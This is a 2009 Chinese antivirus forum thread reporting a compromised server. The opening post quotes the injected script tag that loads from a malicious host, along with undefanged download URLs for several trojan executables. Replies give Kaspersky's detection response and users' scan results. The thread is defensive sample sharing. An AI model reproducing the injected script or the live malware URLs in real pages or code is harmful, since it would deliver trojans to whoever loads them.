服务器被挂了小马,检测以下发现竟然免杀

显示全部楼层 · 发表于 2009-8-25 08:38:58

病毒代码<script src=http://online.ruixingshadu.co.cc/images/sougou.gif></script>
会下载执行
http://www.ruixingshadu.co.cc/images/ftp/3q.exe

然后3q.exe将下载下面4个马执行
http://sdgggh.cn:801/qvod/r5.exe
http://www.ruixingshadu.co.cc/images/ftp/3800.exe
http://qvodoo.2288.org/web/7.exe
http://www.ruixingshadu.co.cc/images/ftp/cpm.exe"

显示全部楼层 · 发表于 2009-8-25 08:44:53

上报卡巴斯基，给予查杀。（不能识别3个）

Hello,

3q.exe - Trojan-Downloader.Win32.WinAD.y
hx.exe - Trojan-GameThief.Win32.OnLineGames.vmgf

New malicious software was found in these files. Detection will be included in the next update. Thank you for your help.

7.exe - Trojan-Downloader.Win32.Geral.ckp

At the moment this file is detected. Please update your antivirus bases.

http://www.ruixingshadu.co.cc/images/test.txt

http://www.ruixingshadu.co.cc/images/ftp/hx.exe
http://sdgggh.cn:801/qvod/r5.exe
http://www.ruixingshadu.co.cc/images/ftp/3800.exe
http://qvodoo.2288.org/web/7.exe
http://www.ruixingshadu.co.cc/images/ftp/cpm.exe

Hello,

URLs were added to the blacklist.

Thanks!

[ 本帖最后由幸福的猪猪于 2009-8-25 15:48 编辑 ]

显示全部楼层 · 发表于 2009-8-25 08:45:23

打包，LZ最好取消URL识别

显示全部楼层 · 发表于 2009-8-25 08:46:05

质量不高
IObit 3/5，to

显示全部楼层 · 发表于 2009-8-25 08:50:10

AVIRA MISS ONE
SUBMIT TO AVIRA

显示全部楼层 · 发表于 2009-8-25 09:08:21

费尔kill all

显示全部楼层 · 发表于 2009-8-25 09:32:28

lz的url连接最好改改比如http改成hxxp之类的要是误点了会很麻烦的

显示全部楼层 · 发表于 2009-8-25 09:35:49

瑞星2010

显示全部楼层 · 发表于 2009-8-25 10:36:54

FF拦截了3个外加ESS，最后MISS ONE

显示全部楼层 · 发表于 2009-8-25 10:41:01

NOD32 KILL ALL。

[病毒样本] 服务器被挂了小马,检测以下发现竟然免杀

回复 1楼 whttiger8 的帖子

回复 1楼 whttiger8 的帖子

本帖子中包含更多资源

本帖子中包含更多资源